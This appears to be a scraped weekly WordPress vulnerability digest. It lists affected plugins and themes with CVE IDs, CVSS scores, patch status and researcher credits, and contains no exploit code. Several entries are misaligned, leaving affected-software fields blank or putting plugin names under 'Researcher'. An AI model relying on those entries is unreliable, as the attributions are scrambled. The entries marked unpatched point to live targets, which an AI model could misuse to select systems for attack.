Contact Form 7 – Dynamic Text Extension	contact-form-7-dynamic-text-extension
Content Control – The Ultimate Content Restriction Plugin! Restrict Content, Create Conditional Blocks & More	content-control
Cozy Blocks – Page Builder for Gutenberg Editor & FSE with 600+ Patterns, 58 Blocks & Templates	cozy-addons
Create	mediavine-create
Custom links in Elementor Image Carousel	custom-links-in-elementor-image-carousel
Customer Support Ticket System & Helpdesk	wp-ticket
Cyr to Lat Reloaded – Transliteration of Links and File Names	cyr-and-lat
Directory Listings WordPress plugin – uListing	ulisting
Ditty – Responsive News Tickers, Sliders, and Lists	ditty-news-ticker
Dokan Pro	dokan-pro
Dynamic Pricing With Discount Rules for WooCommerce	aco-woo-dynamic-pricing
Easy Appointments	easy-appointments
Easy Digital Downloads – eCommerce Payments and Subscriptions made easy	easy-digital-downloads
Easy Form Builder by WhiteStudio – Drag & Drop Form Builder	easy-form-builder
Ebook Store	ebook-store
Equalize Digital Accessibility Checker – WCAG, ADA, EAA and Section 508 compliance	accessibility-checker
eRoom – Webinar & Meeting Plugin for Zoom, Google Meet, Microsoft Teams	eroom-zoom-meetings-webinar
Essential Addons for Elementor – Popular Elementor Templates & Widgets	essential-addons-for-elementor-lite
Event Post	event-post
Event Tickets and Registration	event-tickets
EventON Action User	eventon-action-user
Events Made Easy	events-made-easy
Falcon – WordPress Optimizations & Tweaks	falcon
Firelight Lightbox	easy-fancybox
Flipbook PDF Viewer & Embedder	pdf-embed-viewer
Fluent Forms Pro Add On Pack	fluentformpro
Fluent Support – Helpdesk & Customer Support Ticket System	fluent-support
FormCraft	formcraft3
GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress	gamipress
GiveWP – Donation Plugin and Fundraising Platform	give
GoDAM – Organize WordPress Media Library & File Manager with Unlimited Folders for Images, Videos & more	godam
Graphina – Charts and Graphs For Elementor	graphina-elementor-charts-and-graphs
Grid/List View for WooCommerce	gridlist-view-for-woocommerce
GutenKit – Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor	gutenkit-blocks-addon
HashThemes Demo Importer	hashthemes-demo-importer
Header Footer Script Adder	header-and-footer-script-adder
Hubbub Lite – Fast, free social sharing and follow buttons	social-pug
JetBooking	jet-booking
JetElements	jet-elements
JetEngine	jet-engine
Kali Forms — Contact Form & Drag-and-Drop Builder	kali-forms
Kirki – Freeform Page Builder, Website Builder & Customizer	kirki
Kit (formerly ConvertKit) – Email Newsletter, Email Marketing, Membership, Subscribers and Landing Pages	convertkit
Knit Pay – Cashfree, Instamojo, Razorpay, PayPal and more	knit-pay
Kwayy HTML Sitemap	kwayy-html-sitemap
LA-Studio Element Kit for Elementor	lastudio-element-kit
License Manager for WooCommerce	license-manager-for-woocommerce
LIQUID SPEECH BALLOON	liquid-speech-balloon
ListingPro Plugin	listingpro-plugin
Machete	machete
MailPoet – Newsletters, Email Marketing, and Automation	mailpoet
Mailster WordPress Newsletter Plugin	mailster
MapPress – Google Maps, OpenStreetMap & Leaflet	mappress-google-maps-for-wordpress
MapSVG	mapsvg
MapSVG – Vector maps, Image maps, Google Maps	mapsvg-lite-interactive-vector-maps
MarketKing — Ultimate WooCommerce Multivendor Marketplace Solution	marketking-multivendor-marketplace-for-woocommerce
Masteriyo LMS – LMS Course Builder, Quizzes & Certificates	learning-management-system
MDJM Event Management	mobile-dj-manager
Mediavine Control Panel	mediavine-control-panel
miniOrange Discord Integration	miniorange-discord-integration
miniOrange Social Login and Register (Discord, Google, Twitter, LinkedIn) Pro Addon	miniorange-login-openid
Modula Image Gallery – Photo Grid & Video Gallery	modula-best-grid-gallery
MountDev AI MCP Connector for WordPress	mountdev-ai-mcp-connector
MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar	mp3-music-player-by-sonaar
Nexter Blocks – Gutenberg Blocks, Page Builder & AI Website Builder	the-plus-addons-for-block-editor
Ninja Forms – The Contact Form Builder That Grows With You	ninja-forms
Ninja Tables – Easy Data Table Builder	ninja-tables
Open User Map – Interactive Leaflet Maps	open-user-map
Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts & More	themeisle-companion
Paid Membership Subscriptions – Effortless Memberships, Recurring Payments & Content Restriction	paid-member-subscriptions
Participants Database	participants-database
Payment Gateway for PayPal on WooCommerce	woo-paypal-gateway
Payment Plugins for Stripe WooCommerce	woo-stripe-payment
PayU India	payu-india
PeproDev Ultimate Invoice	pepro-ultimate-invoice
Photo Block – A Modern Image Block With Lightbox and Caption Support	photo-block
Photo Gallery – GT3 Image Gallery & Gutenberg Block Gallery	gt3-photo-video-gallery
Photo Gallery – Responsive Image Galleries by Supsystic	gallery-by-supsystic
Picture Gallery – Frontend Image Uploads, AJAX Photo List	picture-gallery
PiWeb Product Enquiry or product catalog for WooCommerce	enquiry-quotation-for-woocommerce
Polylang	polylang
Popup for CF7 with Sweet Alert	cf7-sweet-alert-popup
Post Grid Gutenberg Blocks – PostX	ultimate-post
Post My CF7 Form	post-my-contact-form-7
Premium Packages – Sell Digital Products Securely	wpdm-premium-packages
Product Designer for WooCommerce WordPress \| Lumise	lumise
Product Feed Manager For WooCommerce – Sell on 200+ Online Marketplaces	best-woocommerce-feed
Product Slider, Product Grid, Product Masonry	woocommerce-products-slider
Qubely – Advanced Gutenberg Blocks	qubely
Query Wrangler	query-wrangler
QuickCal	quickcal
Quiz and Survey Master (QSM) – Quiz Maker & Survey Maker	quiz-master-next
Real Estate Manager Pro	real-estate-manager-pro
Really Simple CSV Importer	really-simple-csv-importer
Registrations for the Events Calendar – Event Registration Plugin	registrations-for-the-events-calendar
Relevanssi Light	relevanssi-light
reviewer	reviewer
Rich Showcase for Google Reviews	widget-google-reviews
rtMedia for WordPress, BuddyPress and bbPress	buddypress-media
SAML Single Sign On – SSO Login	miniorange-saml-20-single-sign-on
Sender – Newsletter, SMS and Email Marketing Automation for WooCommerce	sender-net-automated-emails
Shiptastic for WooCommerce	shiptastic-for-woocommerce
ShipTime: Discount Shipping	shiptime-discount-shipping
Slider Pro	sliderpro
Smart Manager – Advanced WooCommerce Bulk Edit & Inventory Management	smart-manager-for-wp-e-commerce
Smart SEO Tool – SEO优化插件	smart-seo-tool
SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery	sms-alert
Spectra Legacy – Gutenberg Blocks	ultimate-addons-for-gutenberg
Style Kits for Elementor	analogwp-templates
SUMO Reward Points for WooCommerce	rewardsystem
Sunshine Photo Cart – Client Photo Gallery & Photo Proofing for Photographers	sunshine-photo-cart
SureDash – Community, Courses & Member Dashboard	suredash
Tabs Responsive – With WooCommerce Product Tabs Extension	tabs-responsive
TemplateSpare – 1000+ WordPress Starter Templates & Full Site Migration Tool \| 1-Click Import/Export & No-Code Builder	templatespare
Thrive Quiz Builder	thrive-quiz-builder
Thrive Themes – Product Manager	thrive-product-manager
Tickera – Sell Tickets & Manage Events	tickera-event-ticketing-system
TinyMCE Templates	tinymce-templates
Tonda Core	tonda-core
Tutor LMS Elementor Addons	tutor-lms-elementor-addons
Ultimate Addons for Elementor	header-footer-elementor
Ultimate Store Kit – Addon For WooCommerce, EDD and Elementor	ultimate-store-kit
Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin	uncanny-automator
Video Player for YouTube – embed videos your visitors will love to watch	yt-player
VikBooking Hotel Booking Engine & PMS	vikbooking
Virtue/Ascend/Pinnacle Toolkit	virtue-toolkit
Visual Composer Website Builder	visualcomposer
Visualizer – Tables & Charts Manager with Built-in AI Generator	visualizer
WCPOS – Point of Sale (POS) plugin for WooCommerce	woocommerce-pos
Web Push Notifications – Webpushr	webpushr-web-push-notifications
WP Accessibility Helper (WAH)	wp-accessibility-helper
WP Activity Log	wp-security-audit-log
WP BASE Booking of Appointments, Services and Events	wp-base-booking-of-appointments-services-and-events
WP Easy Pay – Payment and Donation Form Builder for Square	wp-easy-pay
WP Encryption – Lifetime Free SSL Cert & HTTPS, Force SSL / HTTPS Redirect, SSL Security	wp-letsencrypt-ssl
WP Fast Total Search – The Power of Indexed Search	fulltext-search
WP Foodbakery	wp-foodbakery
WP Ghost (Hide My WP Ghost) – Security & Firewall	hide-my-wp
WP Go Maps – Google Map, OpenStreetMap, Leaflet Map	wp-google-maps
WP Hotel Booking	wp-hotel-booking
WP Shortcode by MyThemeShop	wp-shortcode
WP Social Ninja – Embed Social Feeds, User Reviews & Chat Widgets	wp-social-reviews
WP-Polls	wp-polls
WPForms Pro	wpforms
WPForms – AI Form Builder for WordPress – Contact Forms, Payment Forms, Survey Form, Quiz & More	wpforms-lite
WPify Woo – Withdrawal, CRN/VAT, QR payments, Heureka and more for WooCommerce	wpify-woo
WPO365 \| SEAMLESS WORDPRESS + MICROSOFT INTEGRATION (WPO365 \| LOGIN)	wpo365-login
Yoast SEO – Advanced SEO with real-time guidance and built-in AI	wordpress-seo
Ziina	ziina
ЮKassa для WooCommerce	yookassa
افزونه حمل و نقل ووکامرس \| پست پیشتاز، تیپاکس و پیک موتوری	persian-woocommerce-shipping
افزونه پرداخت امن زرین‌پال برای ووکامرس (ZarinPal for WooCommerce)	zarinpal-woocommerce-payment-gateway
افزونه پیامک ووکامرس Persian WooCommerce SMS	persian-woocommerce-sms

WordPress Themes with Reported Vulnerabilities Last Week

Software Name	Software Slug
Civi – Job Board & Freelance Marketplace WordPress Theme	civi
Grand Photography WordPress	grandphotography
Manual – Documentation, Knowledge Base & Education WordPress Theme	manual
photography	photography
TheGem	thegem
Vino – A Refined Winery, Wine Bar and Vineyard WordPress Theme	vino

Vulnerability Details

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-15011

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Customer Support Ticket System & Helpdesk [wp-ticket]

Researcher

GoDAM – Organize WordPress Media Library & File Manager with Unlimited Folders for Images, Videos & more [godam]

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-13439

Patch Status

Patched

Published
Jul 20, 2026

Affected Software

Easy Form Builder by WhiteStudio – Drag & Drop Form Builder [easy-form-builder]

Researcher

CHOIGYEONGMIN

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-14282

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Researcher

CHOIGYEONGMIN

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-15015

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

MountDev AI MCP Connector for WordPress [mountdev-ai-mcp-connector]

Researcher

AeonRisk

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-15981

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

SAML Single Sign On – SSO Login [miniorange-saml-20-single-sign-on]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-59540

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery [sms-alert]

Researcher

Taylsec

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-59541

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

WP BASE Booking of Appointments, Services and Events [wp-base-booking-of-appointments-services-and-events]

Researcher

Afan

CVSS Rating
9.1 (Critical)

CVE-ID

CVE-2026-57716

Patch Status

Patched

Published
Jul 21, 2026

Affected Software

Broadcast Live Video – Live Streaming : WebRTC, HLS, RTSP, RTMP [videowhisper-live-streaming-integration]

Researcher

CVSS Rating
9.1 (Critical)

CVE-ID

CVE-2026-59555

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Participants Database [participants-database]

Researcher

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-15962

Patch Status

Patched

Published
Jul 25, 2026

Affected Software

Fluent Forms Pro Add On Pack [fluentformpro]

Researcher

Osvaldo Noe Gonzalez Del Rio (Os)

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-15017

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

MDJM Event Management [mobile-dj-manager]

Researcher

moonge

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-15212

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

WPO365 | SEAMLESS WORDPRESS + MICROSOFT INTEGRATION (WPO365 | LOGIN) [wpo365-login]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-8789

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Easy Appointments [easy-appointments]

Researcher

Vamshi Krishna Upadrasta

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-59542

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Kali Forms — Contact Form & Drag-and-Drop Builder [kali-forms]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-57696

Patch Status

Patched

Published
Jul 20, 2026

Affected Software

Picture Gallery – Frontend Image Uploads, AJAX Photo List [picture-gallery]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-59544

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Thrive Quiz Builder [thrive-quiz-builder]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-15802

Patch Status

Unpatched

Published
Jul 21, 2026

Affected Software

WP Foodbakery [wp-foodbakery]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-10818

Patch Status

Patched

Published
Jul 24, 2026

Affected Software

WPForms Pro [wpforms]

Researcher

CVSS Rating
8.0 (High)

CVE-ID

CVE-2026-12736

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

WPify Woo – Withdrawal, CRN/VAT, QR payments, Heureka and more for WooCommerce [wpify-woo]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-59550

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

AWP Classifieds [another-wordpress-classifieds-plugin]

Researcher

Thaer Assfour

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-65493

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

Dokan Pro [dokan-pro]

Researcher

Expatch

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-59538

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress [gamipress]

Researcher

qdtad

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-59527

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

MapSVG – Vector maps, Image maps, Google Maps [mapsvg-lite-interactive-vector-maps]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-59526

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

MapSVG [mapsvg]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-59525

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Participants Database [participants-database]

Researcher

L4m

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-9713

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Product Designer for WooCommerce WordPress | Lumise [lumise]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-59533

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Relevanssi Light [relevanssi-light]

Researcher

ParkHyunWoo

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-59549

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

rtMedia for WordPress, BuddyPress and bbPress [buddypress-media]

Researcher

Zainul Anwar Adi Putra

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-65477

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Tonda Core [tonda-core]

Researcher

Vino – A Refined Winery, Wine Bar and Vineyard WordPress Theme [vino]

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-65481

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Researcher

Vincent Szopa (bioflavonoid)

CVSS Rating
7.3 (High)

CVE-ID

CVE-2026-10033

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

EventON Action User [eventon-action-user]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-59552

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Flipbook PDF Viewer & Embedder [pdf-embed-viewer]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65558

Patch Status

Patched

Published
Jul 24, 2026

Affected Software

AffiliateX – Amazon Affiliate Plugin, Product Boxes, Comparison Tables & Affiliate Link Tracking [affiliatex]

Researcher

Luc Huynh from Noventiq RedTeam

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-12421

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

ARforms [arforms]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65492

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

Dokan Pro [dokan-pro]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-59556

Patch Status

Patched

Published
Jul 24, 2026

Affected Software

Dynamic Pricing With Discount Rules for WooCommerce [aco-woo-dynamic-pricing]

Researcher

Denny Abraham Sinaga

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-59517

Patch Status

Patched

Published
Jul 21, 2026

Affected Software

Easy Form Builder by WhiteStudio – Drag & Drop Form Builder [easy-form-builder]

Researcher

Luc Huynh from Noventiq RedTeam

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-7232

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

FormCraft [formcraft3]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65466

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

JetBooking [jet-booking]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-27064

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Mailster WordPress Newsletter Plugin [mailster]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65511

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

Manual – Documentation, Knowledge Base & Education WordPress Theme [manual]

Researcher

ed32.dll

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65455

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

MapSVG – Vector maps, Image maps, Google Maps [mapsvg-lite-interactive-vector-maps]

Researcher

Securepeak Research Team

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-1771

Patch Status

Patched

Published
Jul 20, 2026

Affected Software

MapSVG – Vector maps, Image maps, Google Maps [mapsvg-lite-interactive-vector-maps]

Researcher

san6051

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65516

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

PeproDev Ultimate Invoice [pepro-ultimate-invoice]

Researcher

longnv719

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65510

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

PeproDev Ultimate Invoice [pepro-ultimate-invoice]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-59512

Patch Status

Patched

Published
Jul 21, 2026

Affected Software

PiWeb Product Enquiry or product catalog for WooCommerce [enquiry-quotation-for-woocommerce]

Researcher

duna

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-59553

Patch Status

Patched

Published
Jul 24, 2026

Affected Software

Product Feed Manager For WooCommerce – Sell on 200+ Online Marketplaces [best-woocommerce-feed]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65461

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Really Simple CSV Importer [really-simple-csv-importer]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-57704

Patch Status

Patched

Published
Jul 20, 2026

Affected Software

Smart Manager – Advanced WooCommerce Bulk Edit & Inventory Management [smart-manager-for-wp-e-commerce]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-7534

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

SUMO Reward Points for WooCommerce [rewardsystem]

Researcher

Nguyen Cong Quang

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-15401

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

VikBooking Hotel Booking Engine & PMS [vikbooking]

Researcher

CVSS Rating
6.6 (Medium)

CVE-ID

CVE-2026-65497

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Complianz – GDPR/CCPA Cookie Consent [complianz-gdpr]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-13009

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

AI Copilot – Content Generator [ai-copilot-content-generator]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-14955

Patch Status

Patched

Published
Jul 24, 2026

Affected Software

Checkout Field Editor for WooCommerce (Pro) [woocommerce-checkout-field-editor-pro]

Researcher

0xd4rk5id3

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2025-13146

Patch Status

Unpatched

Published
Jul 21, 2026

Affected Software

Contact Form 7 – Dynamic Text Extension [contact-form-7-dynamic-text-extension]

Researcher

NosleeP++

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-24552

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Create [mediavine-create]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-65494

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

Dokan Pro [dokan-pro]

Researcher

Expatch

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-25405

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

eRoom – Webinar & Meeting Plugin for Zoom, Google Meet, Microsoft Teams [eroom-zoom-meetings-webinar]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-65450

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

MapSVG – Vector maps, Image maps, Google Maps [mapsvg-lite-interactive-vector-maps]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-65451

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

MapSVG [mapsvg]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-15906

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Premium Packages – Sell Digital Products Securely [wpdm-premium-packages]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-65454

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Quiz and Survey Master (QSM) – Quiz Maker & Survey Maker [quiz-master-next]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-13119

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Registrations for the Events Calendar – Event Registration Plugin [registrations-for-the-events-calendar]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-59551

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

rtMedia for WordPress, BuddyPress and bbPress [buddypress-media]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-15761

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Tickera – Sell Tickets & Manage Events [tickera-event-ticketing-system]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-15448

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Tickera – Sell Tickets & Manage Events [tickera-event-ticketing-system]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-65526

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

Visualizer – Tables & Charts Manager with Built-in AI Generator [visualizer]

Researcher

ParkHyunWoo

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-16078

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

WCPOS – Point of Sale (POS) plugin for WooCommerce [woocommerce-pos]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65518

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Accept Donations with PayPal & Stripe [easy-paypal-donation]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65514

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Appointment Hour Booking – Booking Calendar [appointment-hour-booking]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65562

Patch Status

Patched

Published
Jul 24, 2026

Affected Software

BetterDocs – AI Documentation, Knowledge Base, Docs, Wikis, FAQ with Chatbot [betterdocs]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15646

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Brands for WooCommerce [brands-for-woocommerce]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15648

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Brands for WooCommerce [brands-for-woocommerce]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65528

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

BSK PDF Manager [bsk-pdf-manager]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15404

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Bulk Page Generator – LPagery [lpagery]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65496

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Complianz – GDPR/CCPA Cookie Consent [complianz-gdpr]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15333

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Cozy Blocks – Page Builder for Gutenberg Editor & FSE with 600+ Patterns, 58 Blocks & Templates [cozy-addons]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15334

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Cozy Blocks – Page Builder for Gutenberg Editor & FSE with 600+ Patterns, 58 Blocks & Templates [cozy-addons]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65534

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

Custom links in Elementor Image Carousel [custom-links-in-elementor-image-carousel]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-14481

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Equalize Digital Accessibility Checker – WCAG, ADA, EAA and Section 508 compliance [accessibility-checker]

Researcher

Jonah Burgess (CryptoCat)

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15145

Patch Status

Patched

Published
Jul 20, 2026

Affected Software

Essential Addons for Elementor – Popular Elementor Templates & Widgets [essential-addons-for-elementor-lite]

Researcher

Asaf Mozes

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15156

Patch Status

Patched

Published
Jul 20, 2026

Affected Software

Essential Addons for Elementor – Popular Elementor Templates & Widgets [essential-addons-for-elementor-lite]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-6454

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Firelight Lightbox [easy-fancybox]

Researcher

Quốc Huy (jtwings)

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65470

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Fluent Support – Helpdesk & Customer Support Ticket System [fluent-support]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15665

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Fluent Support – Helpdesk & Customer Support Ticket System [fluent-support]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15794

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Grid/List View for WooCommerce [gridlist-view-for-woocommerce]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65483

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

HashThemes Demo Importer [hashthemes-demo-importer]

Researcher

Mike Montoya

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15394

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Header Footer Script Adder [header-and-footer-script-adder]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-27403

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Hubbub Lite – Fast, free social sharing and follow buttons [social-pug]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65465

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

JetElements [jet-elements]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65467

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

JetEngine [jet-engine]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65482

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

LA-Studio Element Kit for Elementor [lastudio-element-kit]

Researcher

Abu Hurayra

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65527

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

LIQUID SPEECH BALLOON [liquid-speech-balloon]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65538

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

Machete [machete]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65522

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Manual – Documentation, Knowledge Base & Education WordPress Theme [manual]

Researcher

ed32.dll

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65449

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

MapSVG – Vector maps, Image maps, Google Maps [mapsvg-lite-interactive-vector-maps]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2025-9205

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

MapSVG – Vector maps, Image maps, Google Maps [mapsvg-lite-interactive-vector-maps]

Researcher

zer0gh0st

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-59513

Patch Status

Patched

Published
Jul 21, 2026

Affected Software

Masteriyo LMS – LMS Course Builder, Quizzes & Certificates [learning-management-system]

Researcher(s): Unknown

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65561

Patch Status

Patched

Published
Jul 24, 2026

